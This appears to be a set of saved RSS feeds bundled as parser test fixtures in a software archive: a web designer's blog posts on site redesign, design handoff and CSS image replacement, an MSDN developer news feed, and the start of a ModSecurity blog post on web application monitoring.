      I'm not sure if/when I'll come back to this issue; it's not something I'm totally happy with, but it's also something I may end up just having to live with. (Automated contrast checkers tell me the brightness contrast is okay, though I think you and I both know just by looking at it that it could be better.)

      Expandability

      You'll notice in some parts of the site, resizing text in your browser causes it to expand gracefully, but it falls down on the home page and the portfolio pages. I always try to design for text expandability, but those two pages had to be the exception this time.

      There were a few factors at play here. For one, my image sizes are already large (see below), and creating even more for expanding text areas was starting to feel a little silly. And absolute positioning on the home page in order to overlap textures seamlessly caused me to force hard pixel values for text area heights. I did think of trying an overflow: auto kludge to force a scrollbar in the portfolio, but the script for the sliding pages just doesn't allow that. Interestingly, turning off script allows overflow: auto just fine, so the expandability issue goes away when Javascript is disabled. That's a lovely bit of irony.

      I don't really have a good fix for this one. I ran out of ideas, so no text expandability. But I feel really bad about that, so the guilt makes up for it, right? Right?

      Markup

      Yeah, so, viewing source is going to get you a whole mess of extra wrapper divs and such. I had a lot of images to layer, it had to happen. Did you know that you can nest your divs so deep that Firebug stops working properly? I do now.

      The real shame of it is how unnecessary most of them are. With multiple background images ala CSS3, I could get away with far, far fewer. But alas, I live in a world where supporting IE6 is still necessary, so I'll just keep my dreaming to myself while I propagate the useless divs throughout my markup.

      Also, you may notice a bunch of empty <i></i> pairs here and there. These are as semantically neutral as reusable empty divs or spans, only with less characters. That's a trick I picked up from Eric Meyer along the way, I think in conjunction with the A List Apart redesign, though I'll be damned if I can find the post in question now.

      Images

      I still have this philosophy about using the PNG format — it's great for throw-away images that I can effectively hide from IE6, but for core site UI elements, it's still GIF all the way. The alpha hacks and colour profile issues just aren't worth it. So I had to find fun and creative ways of overlapping compex faded imagery with 1-bit transparency. The amazing thing about doing it this way? IE6 testing was actually fairly painless this time around. I did not expect that.

      The upshot, however, is that I've got 556k in images for the primary UI elements alone, not to mention the 6MB of project-related images. I'm not saying all that would go away with PNG transparency, but I bet I could shave off a few bytes. This is the sort of site where heavy imagery isn't a huge ordeal, but still. A half meg of images rubs over a decade of image optimization practice the wrong way.

      I think that about covers the ranting. Next up: the fun scripted bits, the design notes, the copywriting, and more.

      ]]>       2008-06-03T11:35:50-08:00       Handoff http://mezzoblue.com/archives/2008/05/21/handoff/ A few months back at SXSW I sat on a panel that discussed how designers and developers play nice together on web projects. One of the things I never got around to mentioning was the system I use for handing... 1422@http://mezzoblue.com/ A few months back at SXSW I sat on a panel that discussed how designers and developers play nice together on web projects. One of the things I never got around to mentioning was the system I use for handing off my static design work to clients and their developers for integration into their dynamic systems. Since I've been thinking about it a bit more in the past few weeks, I figured I ought to put this out there.

      I prefer to start in Photoshop, and keep most of the big picture design work there if possible. I find designing with CSS leads me to make decisions based on what's easiest to code, whereas moving things around the screen visually gets me better results. Your mileage may vary.

      During the initial design process, my mockups for client preview are delivered as flat image files. Each is given an increasing version number like home-page-v3.png, and by about v3 or v4 I'm usually pushing for signoff to start coding.

      Since most sites involve multiple page templates, I'll often be concurrently designing some while coding others. The first one or two I do set the stage, so I try to pick templates to code that involve as many visual elements and layout variations as I can so that I'm thinking about the possibilities from the start. I'll build out those first few, then package up the HTML, CSS, and various image files into a ZIP archive and deliver that as code-v1.0.zip.

      The developer will take that and start implementing that, while I move on to designing and coding out the rest. I'll build new ZIP files as I finish new templates and increase the version number of the archive. Each subsequent ZIP file is meant to totally replace the old. My instructions are basically, take these updated CSS and image folders and dump them on top of the last round.

      The HTML poses a bit more of a challenge though; the new versions do replace the old static versions, but by at this point the developer I'm working with has started integrating them with their system, so it's not quite as simple as overwriting pre-existing folders. There's more manual work involved for them; they need to run a diff and apply the changes to their development version. Not a huge task, but a least a little more overhead than overwriting folders.

      There's also an assumption built into this process: I own the CSS and image folders, and will be the only one making changes to them. In cases where the developer has needed the ability to modify CSS at will, it's proven a good idea to create a separate running development CSS file that ends up being integrated with the rest near the end of the project. Images could work the same way, though I usually find those are self-correcting; if the developer needs their own image folders outside of those I've built they'll figure out how to make it all work without my intervention.

      And there's definitely a side-discussion here about designers using version control systems like Subversion. I've personally adapted to doing so, and what I'm describing above is kind of a manual way of doing the same thing. But the advantage to this system is that it firmly places the control of the application logic in the hands of the developers, and the designer never has to see wade around inside their Ruby or PHP or Python to find the place to change a div element's class, for example.

      I'm curious to hear how other people handle handoff, as this is simply my own system that I've evolved over the years as the result of preparing in advance for moving goalposts like feature requests and design changes after my work is theoretically finished. I think it handles fairly well, but perhaps there are better ways.

      ]]>       2008-05-21T12:45:51-08:00       Image Replacement + Google http://mezzoblue.com/archives/2008/05/05/image_replac/ At An Event Apart in New Orleans a few weeks back, something that Aaron Walter said on stage caught my attention. During the portion of his talk where he discussed image replacement and its impact on findability, he addressed the... 1421@http://mezzoblue.com/ At An Event Apart in New Orleans a few weeks back, something that Aaron Walter said on stage caught my attention.

      During the portion of his talk where he discussed image replacement and its impact on findability, he addressed the white elephant question that has likely occurred to most designers who have used image replacement over the past five years or so: what does Google think of CSS image replacement, anyway? But the part that surprised me is that he actually had an answer: Google's okay with it, you won't be penalized for using image replacement properly.

      Though I've long believed this to be true, I had never heard a conclusive answer. One assumes Google is smart, and their algorithms ought to know the difference between keyword-stuffed text and plain English content written for real people. For example, I've often wondered if the potential to abuse image replacement and load invisible text with keywords was akin to, say, the potential to stuff keywords into the alt text of img elements, or even into meta tags. The net result seems similar in all three cases: otherwise-invisible text on a page that could unduly influence Google's ranking. Presumably whatever algorithms they use to detect keyword-stuffing on the other two elements would equally apply to text hidden with CSS.

      Not to mention the more compelling evidence that numerous sites I've built using image replacement techniques fare well in Google's ranking. That fact alone indicates that Google won't ban a site for simply making use of image replacement techniques (though I'm sure they've banned numerous sites using the technique in a sneaky, black hat SEO manner).

      But again, I've never heard of an official blessing from Google. So I did some searching, and asked him for some follow-up (thanks, Aaron!), and here are the relevant resources that came out of that conversation:

      Hidden text and links

      The second bullet ("including text behind an image") accurately describes a few image replacement techniques. It's mentioned in the context of being a potentially untrustworthy activity, followed by a warning of the consequences of using it incorrectly. However, further down the page, the focus changes to techniques used for the sake of accessibility and why you would want to describe something search engines or users with assistive technology may not be able to access. This is a fairly accurate description of the intent behind image replacement. The article also suggests a handy rule of thumb for judging these techniques on your own: show the Googlebot the same thing your visitors see. Properly-used image replacement passes that test.

      Best Uses of Flash

      See point #2 in regards to sIFR, an ideologically similar concept to CSS image replacement, which suffers from the same potential abuse vectors. As this is a Google blog, it appears sIFR has an official blessing. Also mentioned in this article is a similar guideline to the previous one: show users and the Googlebot the same content. Sensing a theme here?

      Working with Flash, images, and other non-text files

      More of the same. Provide text alternatives for non-crawlable content, sIFR's great, etc.

      So it appears that, short of a set of stone tablets carried down from the hills of Mountain View, we do have a fairly clear answer. Using CSS image replacement in a responsible way, where the image truthfully represents the content it's replacing, is safe to use. The simple act of hiding text from users is not enough to get your site banned from Google's index.

      (This article has also been translated into Russian.)

      ]]>       CSS 2008-05-05T14:45:42-08:00       Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.microsoft.com-feeds-msdn-en-us-rss.xml0000664000175000017500000017572412653701626031013 0ustar janjan MSDN: U.S. Local Highlights The latest developer information for the United States. http://msdn.microsoft.com en-us Tue, 22 Jul 2008 15:00:00 GMT Tue, 22 Jul 2008 15:00:00 GMT 1440 FeedForAll v2.0 (2.0.2.9) http://www.feedforall.com Office 2007 and Visual Studio 2008 Interoperability Do you like Office 2007 and Visual Studio 2008? We blend the two to show you the richness of Microsoft Visual Studio Tools for Office (VSTO). http://go.microsoft.com/?linkid=9277250 Jul 22 Tue, 22 Jul 2008 15:00:00 GMT How Do You Perform Imperative Security Checks? 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Additionally, SP1 for the .NET Framework introduces the ADO.NET Entity Framework and ADO.NET Data Services. http://go.microsoft.com/?linkid=8892547&tapm=A01S24G01 May 13 Tue, 13 May 2008 21:45:00 GMT Check Out What's New in Visual C# 3.0 This lab walks you through the new features of C# 3.0: auto-implemented properties, implicitly typed local variables, implicitly typed arrays, extension methods and more. http://go.microsoft.com/?linkid=8874854&tapm=A85S01G04 May 10 Fri, 10 May 2008 05:55:00 GMT .NET Framework 3.5 Download Now Available Microsoft .NET Framework 3.5 contains many new features building incrementally upon .NET Framework 2.0 and 3.0, and includes .NET Framework 2.0 Service Pack 1 and .NET Framework 3.0 Service Pack 1. http://go.microsoft.com/?linkid=8874855&tapm=A01S01G01 May 10 Fri, 10 May 2008 05:55:00 GMT Stay Sharp on SQL Server 2008 and Stay Ahead After completing this lab, you will be able to launch the Report Designer preview, create a data source and a data set, design a new report using the Report Designer of SQL Server 2008 Reporting Services, and more. http://go.microsoft.com/?linkid=8874856&tapm=A87S01G04 May 10 Fri, 10 May 2008 05:55:00 GMT The Newest Microsoft Security Intelligence Report The Microsoft Security Intelligence Report (SIR) provides an in-depth perspective on the changing threat landscape, including software vulnerability disclosures and exploits, malicious software (malware), and potentially unwanted software. http://go.microsoft.com/?linkid=8874857&tapm=A47S01H03 May 10 Fri, 10 May 2008 05:55:00 GMT Windows Vista Link of the Day - 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Virtual Lab Join a virtual lab that can help you get started with application compatability in Windows Vista. http://go.microsoft.com/?linkid=8850059&tapm=A80S21G03 May 09 Thu, 08 May 2008 23:59:00 GMT Windows Vista Service Pack 1 (SP1) Windows Vista Service Pack 1 is an update to Windows Vista that addresses feedback from our customers. http://go.microsoft.com/?linkid=8838862&tapm=A80S01G01 May 06 Tue, 06 May 2008 23:20:00 GMT Improve Your PC's Power Management Try this virtual lab and learn how to help your PC's power management with Windows Vista. http://go.microsoft.com/?linkid=8838863&tapm=A80S01G04 May 06 Tue, 06 May 2008 23:20:00 GMT Great Reasons to Develop for Windows Vista We've gathered a plethora of reasons why you should develop with Windows Vista. http://go.microsoft.com/?linkid=8838864&tapm=A80S01G05 May 06 Tue, 06 May 2008 23:20:00 GMT Windows Vista Application Readiness Watch a 35-minute video that can help you with Windows Vista application readiness. http://go.microsoft.com/?linkid=8838865&tapm=A80S01G02 May 06 Tue, 06 May 2008 23:20:00 GMT Windows Vista Link of the Day - Virtual Lab Join a virtual lab that can help you get started with Application Compatability in Windows Vista. http://go.microsoft.com/?linkid=8850059&tapm=A80S21G03 May 09 Thu, 08 May 2008 23:59:00 GMT Windows Vista Link of the Day - Podcast Listen to a podcast that highlights Windows Vista Hardware Assessment 2.0. http://go.microsoft.com/?linkid=8850058&tapm=A80S21G10 May 07 Wed, 07 May 2008 23:59:00 GMT Windows Vista Service Pack 1 (SP1) Windows Vista Service Pack 1 is an update to Windows Vista that addresses feedback from our customers. http://go.microsoft.com/?linkid=8838862&tapm=A80S01G01 May 06 Tue, 06 May 2008 23:20:00 GMT Improve Your PC's Power Management Try this virtual lab and learn how to help your PC's power management with Windows Vista. http://go.microsoft.com/?linkid=8838863&tapm=A80S01G04 May 06 Tue, 06 May 2008 23:20:00 GMT Great Reasons to Develop for Windows Vista We've gathered a plethora of reasons why you should develop with Windows Vista. http://go.microsoft.com/?linkid=8838864&tapm=A80S01G05 May 06 Tue, 06 May 2008 23:20:00 GMT Windows Vista Application Readiness Watch a 35-minute video that can help you with Windows Vista application readiness. http://go.microsoft.com/?linkid=8838865&tapm=A80S01G02 May 06 Tue, 06 May 2008 23:20:00 GMT Windows Vista Link of the Day - Video Watch a video that shows you how to use the Microsoft Deployment Toolkit to build and prepare a Windows Vista desktop image for automated deployment. http://go.microsoft.com/?linkid=8850057&tapm=A80S21G08 May 06 Tue, 06 May 2008 23:59:00 GMT Windows Vista Service Pack 1 (SP1) Windows Vista Service Pack 1 is an update to Windows Vista that addresses feedback from our customers. http://go.microsoft.com/?linkid=8838862&tapm=A80S01G01 May 06 Tue, 06 May 2008 23:20:00 GMT Improve Your PC's Power Management Try this virtual lab and learn how to help your PC's power management with Windows Vista. http://go.microsoft.com/?linkid=8838863&tapm=A80S01G04 May 06 Tue, 06 May 2008 23:20:00 GMT Great Reasons to Develop for Windows Vista We've gathered a plethora of reasons why you should develop with Windows Vista. http://go.microsoft.com/?linkid=8838864&tapm=A80S01G05 May 06 Tue, 06 May 2008 23:20:00 GMT Windows Vista Application Readiness Watch a 35-minute video that can help you with Windows Vista application readiness. http://go.microsoft.com/?linkid=8838865&tapm=A80S01G02 May 06 Tue, 06 May 2008 23:20:00 GMT Windows Vista Link of the Day - Video Watch a video that shows you how to use the Microsoft Deployment Toolkit to build and prepare a Windows Vista desktop image for automated deployment. http://go.microsoft.com/?linkid=8838866&tapm=A80S21G08 May 06 Tue, 06 May 2008 23:20:00 GMT Take Office Development to the Next Level Join William Steele in this webcast as he discusses the new 2007 Microsoft Office system development features in Microsoft Visual Studio 2008. http://go.microsoft.com/?linkid=8823513&tapm=A85S01G02 May 02 Fri, 02 May 2008 01:30:00 GMT The Benefits of Windows Vista for the Small Business The new security features in Windows Vista help you easily secure the computers and sensitive data on your network - without relying on outside IT support. http://go.microsoft.com/?linkid=8823514&tapm=A80S01G02 May 02 Fri, 02 May 2008 01:30:00 GMT Tech·Ed 2008 Developers Is Selling Out Quickly Thousands of developers have already signed up to dive into the latest developer tools, practices, and platforms with Microsoft experts and industry leaders. Register today and take advantage of the $200 last chance discount. http://go.microsoft.com/?linkid=8823515&tapm=A47S16G03 May 02 Fri, 02 May 2008 01:30:00 GMT "How Do I?" Videos for Security to the Rescue! Here you'll find videos that explore a variety of security questions for developers, including encryption, handling attacks, security best practices, and a lot more. New videos are added regularly, so check back often. http://go.microsoft.com/?linkid=8823516&tapm=A47S01H08 May 02 Fri, 02 May 2008 01:30:00 GMT Windows Vista Link of the Day - Podcast Listen to a podcast that can assist you with improving security in Windows Vista. http://go.microsoft.com/?linkid=8823517&tapm=A80S21G10 May 02 Fri, 02 May 2008 01:30:00 GMT SQL Server 2008 E-Learning With this online collection of learning resources, developers and IT professionals can learn about the new features in SQL Server 2008. http://go.microsoft.com/?linkid=8797901&tapm=A87S20G15 May 01 Thu, 01 May 2008 07:00:01 GMT Authoring Reports Using SQL Server 2008 Learn to enrich your reports using the Report Designer of SQL Server 2008 Reporting Services. http://go.microsoft.com/?linkid=8797902&tapm=A87S01G04 May 01 Thu, 01 May 2008 07:00:01 GMT Why Develop for Windows Vista? By taking advantage of new and exclusive features in Windows Vista, your applications will stand out as engaging, comprehensive, and more secure. http://go.microsoft.com/?linkid=8797903&tapm=A80S01G05 May 01 Thu, 01 May 2008 07:00:01 GMT Learn About Internet Security and Acceleration Server Join this hands-on lab about ISA Server 2006, the integrated edge security gateway that helps protect IT environments from Internet-based threats while providing users with fast and secure remote access to applications and data. http://go.microsoft.com/?linkid=8797904&tapm=A25S01H04 May 01 Thu, 01 May 2008 07:00:01 GMT Windows Vista Link of the Day - Virtual Lab Join a virtual lab for an overview of the Windows Vista Deployment Workbench. http://go.microsoft.com/?linkid=8807205&tapm=A80S21G03 May 01 Thu, 01 May 2008 07:00:01 GMT SQL Server 2008 E-Learning With this online collection of learning resources, developers and IT professionals can learn about the new features in SQL Server 2008. http://go.microsoft.com/?linkid=8797901&tapm=A87S20G15 Apr 30 Wed, 30 Apr 2008 07:00:01 GMT Authoring Reports Using SQL Server 2008 Learn to enrich your reports using the Report Designer of SQL Server 2008 Reporting Services. http://go.microsoft.com/?linkid=8797902&tapm=A87S01G04 Apr 30 Wed, 30 Apr 2008 07:00:01 GMT Why Develop for Windows Vista? By taking advantage of new and exclusive features in Windows Vista, your applications will stand out as engaging, comprehensive, and more secure. http://go.microsoft.com/?linkid=8797903&tapm=A80S01G05 Apr 30 Wed, 30 Apr 2008 07:00:01 GMT Learn About Internet Security and Acceleration Server Join this hands-on lab about ISA Server 2006, the integrated edge security gateway that helps protect IT environments from Internet-based threats while providing users with fast and secure remote access to applications and data. http://go.microsoft.com/?linkid=8797904&tapm=A25S01H04 Apr 30 Wed, 30 Apr 2008 07:00:01 GMT Windows Vista Link of the Day - Webcast Watch part two of yesterday's webcast about security in Windows Vista Deployment. http://go.microsoft.com/?linkid=8807204&tapm=A80S21G02 Apr 30 Wed, 30 Apr 2008 07:00:01 GMT SQL Server 2008 E-Learning With this online collection of learning resources, developers and IT professionals can learn about the new features in SQL Server 2008. http://go.microsoft.com/?linkid=8797901&tapm=A87S20G15 Apr 29 Tue, 29 Apr 2008 02:40:00 GMT Authoring Reports Using SQL Server 2008 Learn to enrich your reports using the Report Designer of SQL Server 2008 Reporting Services. http://go.microsoft.com/?linkid=8797902&tapm=A87S01G04 Apr 29 Tue, 29 Apr 2008 02:40:00 GMT Why Develop for Windows Vista? By taking advantage of new and exclusive features in Windows Vista, your applications will stand out as engaging, comprehensive, and more secure. http://go.microsoft.com/?linkid=8797903&tapm=A80S01G05 Apr 29 Tue, 29 Apr 2008 02:40:00 GMT Learn About Internet Security and Acceleration Server Join this hands-on lab about ISA Server 2006, the integrated edge security gateway that helps protect IT environments from Internet-based threats while providing users with fast and secure remote access to applications and data. http://go.microsoft.com/?linkid=8797904&tapm=A25S01H04 Apr 29 Tue, 29 Apr 2008 02:40:00 GMT Windows Vista Link of the Day - Webcast Watch this webcast and learn about Windows Vista deployment. http://go.microsoft.com/?linkid=8797905&tapm=A80S21G02 Apr 29 Tue, 29 Apr 2008 02:40:00 GMT Learn About the .NET Framework 3.5 in a Virtual Lab Walk through the developer experience of working with the .NET Framework 3.5 for Windows Communication Foundation. http://go.microsoft.com/?linkid=8786083&tapm=A85S01G04 Apr 25 Fri, 25 Apr 2008 18:05:00 GMT Windows Server 2008 Learning and Certification Get a head start on transitioning your skills and credentials to Windows Server 2008 technologies - or begin with a new certification. http://go.microsoft.com/?linkid=8786084&tapm=A86S20G15 Apr 25 Fri, 25 Apr 2008 18:05:00 GMT Improve Security with Identity and Access Control Windows Vista TechCenter Identity and Access Control provides features and technologies that provide a central way of managing credentials and technologies to allow only legitimate users access to devices, applications, and data. http://go.microsoft.com/?linkid=8786085&tapm=A80S01G05 Apr 25 Fri, 25 Apr 2008 18:05:00 GMT Security Report on Windows Vista Sidebar Gadgets This document outlines some of the secure programming best practices to consider when building Windows Vista Sidebar Gadgets. http://go.microsoft.com/?linkid=8786086&tapm=A80S01H05 Apr 25 Fri, 25 Apr 2008 18:05:00 GMT Windows Vista Link of the Day - Video Watch a panel discussion about the adoption of Windows Vista. http://go.microsoft.com/?linkid=8770374&tapm=A80S21G08 Apr 25 Fri, 25 Apr 2008 18:05:00 GMT Get Ready for Visual Studio 2008 with Free E-Learning Learn how to incorporate ASP.NET AJAX with this free online course, "Developing Enhanced Web Experiences with Microsoft ASP.NET AJAX Extensions." http://go.microsoft.com/?linkid=8760558&tapm=A85S20G15 Apr 25 Fri, 25 Apr 2008 16:45:00 GMT Watch geekSpeak Webcasts Visit the home of the geekSpeak webcast series, hosted by Glen Gordon and Lynn Langit. http://go.microsoft.com/?linkid=8760559&tapm=A85S03G02 Apr 25 Fri, 25 Apr 2008 16:45:00 GMT Extending and Customizing SQL Server Data Mining Microsoft SQL Server Data Mining is not just a powerful application - it is a complete platform that you can embed, extend, and customize. Get a look at various ways in which this can be achieved. http://go.microsoft.com/?linkid=8760560&tapm=A87S01G02 Apr 25 Fri, 25 Apr 2008 16:45:00 GMT Register for the Microsoft Security Newsletter The Microsoft Security Newsletter offers the latest news on the issues, insights, and events surrounding Microsoft security. http://go.microsoft.com/?linkid=8760561&tapm=A72S10H14 Apr 25 Fri, 25 Apr 2008 16:45:00 GMT Windows Vista Link of the Day - Video Watch a panel discussion about the adoption of Windows Vista. http://go.microsoft.com/?linkid=8770374&tapm=A80S21G08 Apr 25 Fri, 25 Apr 2008 16:45:00 GMT Get Ready for Visual Studio 2008 with Free E-Learning Learn how to incorporate ASP.NET AJAX with this free online course, "Developing Enhanced Web Experiences with Microsoft ASP.NET AJAX Extensions." http://go.microsoft.com/?linkid=8760558&tapm=A85S20G15 Apr 23 Tue, 23 Apr 2008 16:10:00 GMT Watch geekSpeak Webcasts Visit the home of the geekSpeak webcast series, hosted by Glen Gordon and Lynn Langit. http://go.microsoft.com/?linkid=8760559&tapm=A85S03G02 Apr 23 Tue, 23 Apr 2008 16:10:00 GMT Extending and Customizing SQL Server Data Mining Microsoft SQL Server Data Mining is not just a powerful application - it is a complete platform that you can embed, extend, and customize. Get a look at various ways in which this can be achieved. http://go.microsoft.com/?linkid=8760560&tapm=A87S01G02 Apr 23 Tue, 23 Apr 2008 16:10:00 GMT Register for the Microsoft Security Newsletter The Microsoft Security Newsletter offers the latest news on the issues, insights, and events surrounding Microsoft security. http://go.microsoft.com/?linkid=8760561&tapm=A72S10H14 Apr 23 Tue, 23 Apr 2008 16:10:00 GMT Windows Vista Link of the Day - Video Watch this video to learn about Windows Vista application compatibility. http://go.microsoft.com/?linkid=8770217&tapm=A80S21G08 Apr 23 Tue, 23 Apr 2008 16:10:00 GMT Get Ready for Visual Studio 2008 with Free E-Learning Learn how to incorporate ASP.NET AJAX with this free online course, "Developing Enhanced Web Experiences with Microsoft ASP.NET AJAX Extensions." http://go.microsoft.com/?linkid=8760558&tapm=A85S20G15 Apr 22 Tue, 22 Apr 2008 19:35:00 GMT Watch geekSpeak Webcasts Visit the home of the geekSpeak webcast series, hosted by Glen Gordon and Lynn Langit. http://go.microsoft.com/?linkid=8760559&tapm=A85S03G02 Apr 22 Tue, 22 Apr 2008 19:35:00 GMT Extending and Customizing SQL Server Data Mining Microsoft SQL Server Data Mining is not just a powerful application - it is a complete platform that you can embed, extend, and customize. Get a look at various ways in which this can be achieved. http://go.microsoft.com/?linkid=8760560&tapm=A87S01G02 Apr 22 Tue, 22 Apr 2008 19:35:00 GMT Register for the Microsoft Security Newsletter The Microsoft Security Newsletter offers the latest news on the issues, insights, and events surrounding Microsoft security. http://go.microsoft.com/?linkid=8760561&tapm=A72S10H14 Apr 22 Tue, 22 Apr 2008 19:35:00 GMT Windows Vista Link of the Day Check us out daily to see our Windows Vista resource of the day! http://go.microsoft.com/?linkid=8760562&tapm=A80S21G04 Apr 22 Tue, 22 Apr 2008 19:35:00 GMT Get a Free Second Shot at Your MS Certification Exam! Due to popular demand, the Second Shot offer has been extended through June 30, 2008. http://go.microsoft.com/?linkid=8745986&tapm=A47S20G15 Apr 21 Mon, 21 Apr 2008 13:50:00 GMT Check Out the Featured Speakers This Year At Tech·Ed Hear from some of the foremost leaders in high-tech as they share their experience and expertise on the issues and developments shaping our industry. http://go.microsoft.com/?linkid=8745987&tapm=A47S16G03 Apr 21 Mon, 21 Apr 2008 13:50:00 GMT Developer Show: Introduction to Visual Basic .NET Join this webcast to learn why Microsoft Visual Basic .NET and Microsoft Visual C# are the languages of choice for developers. http://go.microsoft.com/?linkid=8745988&tapm=A80S01G02 Apr 21 Mon, 21 Apr 2008 13:50:00 GMT Taking Office Development to the Next Level Discover the new 2007 Microsoft Office system development features in Visual Studio 2008, such as the Ribbon Designer and enhanced deployment. http://go.microsoft.com/?linkid=8745989&tapm=A86S01G02 Apr 21 Mon, 21 Apr 2008 13:50:00 GMT Windows Vista Link of the Day Check us out daily to see our Windows Vista resource of the day. http://go.microsoft.com/?linkid=8752867&tapm=A80S21G08 Apr 21 Mon, 21 Apr 2008 13:50:00 GMT Free E-Learning for SQL Server 2008 In this collection of e-learning clinics, developers will learn about the new features in SQL Server 2008. http://go.microsoft.com/?linkid=8719737&tapm=A87S20G15 Apr 15 Tue, 15 Apr 2008 18:15:00 GMT Evaluate the Latest Windows HPC Server 2008 Try the new Technical Preview Release and give us your feedback. http://go.microsoft.com/?linkid=8719738&tapm=A86S04G01 Apr 15 Tue, 15 Apr 2008 18:15:00 GMT Windows Vista Application Compatibility Toolkit In this webcast, we provide an introduction to the major sources of application compatibility issues in the Windows Vista operating system. http://go.microsoft.com/?linkid=8719739&tapm=A80S19G02 Apr 15 Tue, 15 Apr 2008 18:15:00 GMT 5 Easy Tips to Speed Up Your PC By following a few simple guidelines, you can maintain your computer and keep it running smoothly. http://go.microsoft.com/?linkid=8719740&tapm=A47S01G05 Apr 15 Tue, 15 Apr 2008 18:15:00 GMT Podcast About Windows Past, Present, and Future Carl and Richard talk to Windows veterans Tim Sneath and Ian Ellison-Taylor about the olden days of Windows, how it has evolved, and how it may look in the future from a developer perspective. http://go.microsoft.com/?linkid=8719741&tapm=A80S03G10 Apr 15 Tue, 15 Apr 2008 18:15:00 GMT Free Windows Server 2008 Learning and Certification Get a head start on transitioning your skills and credentials to Windows Server 2008 technologies - or begin with a new certification. http://go.microsoft.com/?linkid=8703728&tapm=A86S20G15 Apr 11 Fri, 11 Apr 2008 19:15:00 GMT Learn About the New Data Types in SQL Server 2008 In this hands-on lab you can compare the new DATE/TIME data types to SQL Server 2005 data types and learn how to implement the new data types. http://go.microsoft.com/?linkid=8703729&tapm=A87S01G04 Apr 11 Fri, 11 Apr 2008 19:15:00 GMT Get Information About Windows Vista SP1 Read this helpful information before you download Windows Vista Service Pack 1 (SP1). http://go.microsoft.com/?linkid=8703730&tapm=A80S01G05 Apr 11 Fri, 11 Apr 2008 19:15:00 GMT Subscribe to the Microsoft Security Newsletter Subscribe to the Microsoft Security Newsletter to get the latest news on issues, insights, and events surrounding Microsoft security. http://go.microsoft.com/?linkid=8703731&tapm=A72S10B14 Apr 11 Fri, 11 Apr 2008 19:15:00 GMT Register for Tech·Ed and See the Keynote by Bill Gates Register for Tech·Ed Developers with an early bird discount by April 18, 2008, and you could win one of five HP MediaSmart Servers. There are over 1,000 learning opportunities for developers at this event. Don't miss this year's keynote by Bill Gates. http://go.microsoft.com/?linkid=8703732&tapm=A47S16G03 Apr 11 Fri, 11 Apr 2008 19:15:00 GMT Free SQL Server 2008 E-Learning With this online collection of learning resources, IT professionals and developers can learn about the new features in SQL Server 2008. http://go.microsoft.com/?linkid=8685354&tapm=A87S20G15 Apr 09 Wed, 09 Apr 2008 05:05:00 GMT Enhance Your ASP.NET AJAX Capabilities In this clinic, you can learn about the rich functionality that ASP.NET AJAX extensions provide for building highly responsive and enhanced Web applications. http://go.microsoft.com/?linkid=8685355&tapm=A01S20G15 Apr 09 Wed, 09 Apr 2008 05:05:00 GMT Windows Vista Identity and Access Control Discover features that provide a central way of managing credentials and technologies to allow only legitimate users access to devices, applications, and data. http://go.microsoft.com/?linkid=8685356&tapm=A80S01G05 Apr 09 Wed, 09 Apr 2008 05:05:00 GMT Forefront Client Security Webcasts Tune in to these free webcasts to better understand the Forefront products and how they can help you improve your security. http://go.microsoft.com/?linkid=8685357&tapm=A20S01H02 Apr 09 Wed, 09 Apr 2008 05:05:00 GMT Help Us Help You Find It on MSDN The MSDN team is working to improve your experience in finding the information you need. Take two minutes to tell us what content formats you want, and how you want to find them. http://go.microsoft.com/?linkid=8685358 Apr 09 Wed, 09 Apr 2008 05:05:00 GMT Register For Tech·Ed and See the Keynote by Bill Gates Register for Tech·Ed Developers with an early bird discount by April 4, and you could win one of five HP MediaSmart Servers running Windows Home Server. There are over 1,000 learning opportunities for developers. Don't miss the keynote from Bill Gates. http://go.microsoft.com/?linkid=8662427 Apr 04 Fri, 04 Apr 2008 23:05:00 GMT Using SQL Server 2008 Reporting Services Virtual Lab After completing this virtual lab, you will be able to launch the Report Designer Preview, create a data source and a data set, design a new report using the Report Designer, and more. http://go.microsoft.com/?linkid=8662428 Apr 04 Fri, 04 Apr 2008 23:05:00 GMT Windows Vista Application Compatibility Testing Watch this webcast to learn about best practices for effectively managing Windows Vista deployment. http://go.microsoft.com/?linkid=8662429 Apr 04 Fri, 04 Apr 2008 23:05:00 GMT "How Do I?" Videos for Security Find videos that explore a variety of security questions for developers, including encryption, handling attacks, security best practices, and a lot more. New videos are added regularly, so check back often. http://go.microsoft.com/?linkid=8662430 Apr 04 Fri, 04 Apr 2008 23:05:00 GMT Help Us Help You Find It on MSDN The MSDN team is working to improve your experience in finding the information you need. Take two minutes to tell us what content formats you want, and how you want to find them. http://go.microsoft.com/?linkid=8662431 Apr 04 Fri, 04 Apr 2008 23:05:00 GMT Register For Tech·Ed and See the Keynote by Bill Gates Register for Tech·Ed Developers with an early bird discount by April 4, and you could win one of five HP MediaSmart Servers running Windows Home Server. There are over 1,000 learning opportunities for developers. Don't miss the keynote from Bill Gates. http://go.microsoft.com/?linkid=8637162 Apr 01 Tue, 01 Apr 2008 18:45:00 GMT Watch geekSpeak Webcasts Visit the home of the geekSpeak webcast series, hosted by Glen Gordon and Lynn Langit. http://go.microsoft.com/?linkid=8637163 Apr 01 Tue, 01 Apr 2008 18:45:00 GMT Creating a Simple Sidebar Gadget in Windows Vista After completing this lab, you will be better able to build Gadgets, deploy and install Gadgets, and build a Gadget settings interface. http://go.microsoft.com/?linkid=8637164 Apr 01 Tue, 01 Apr 2008 18:45:00 GMT Building Web Applications with Visual Studio 2008 In this lab, you will use the powerful new CSS editor in Visual Studio 2008 to manage style sheets in Web pages. You will also try out other new tools like the new DataPager control and the new LINQ Data Source. http://go.microsoft.com/?linkid=8637165 Apr 01 Tue, 01 Apr 2008 18:45:00 GMT The Big Easy Offer Check out the Big Easy Offer and find out how you can purchase Microsoft developer tools to rapidly create compelling software applications and receive partner subsidy funds from Microsoft to enrich your solution. http://go.microsoft.com/?linkid=8637166 Apr 01 Tue, 01 Apr 2008 18:45:00 GMT Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.modsecurity.org-blog-index.xml0000664000175000017500000021621412653701626027525 0ustar janjan ModSecurity Blog http://www.modsecurity.org/blog/ en Copyright 2008 Thu, 27 Mar 2008 12:10:22 +0000 http://www.movabletype.org/?v=3.16 http://blogs.law.harvard.edu/tech/rss Web Application Monitoring Data Model A data model is the foundation of web application monitoring and, thus, key to successful utilisation of web application firewalls. We don't get to design the model; we can only deduct it from the information provided to us from the underlying technology. What we can do is build on it, and, for that reason, it is very important to understand what we have to work with.

      An ideal model is one that helps structure the information available to us, allows us to enrich it with additional pieces of data and generally helps us raise events based on the information it contains.

      The major parts of a web application monitoring data model are as follows:

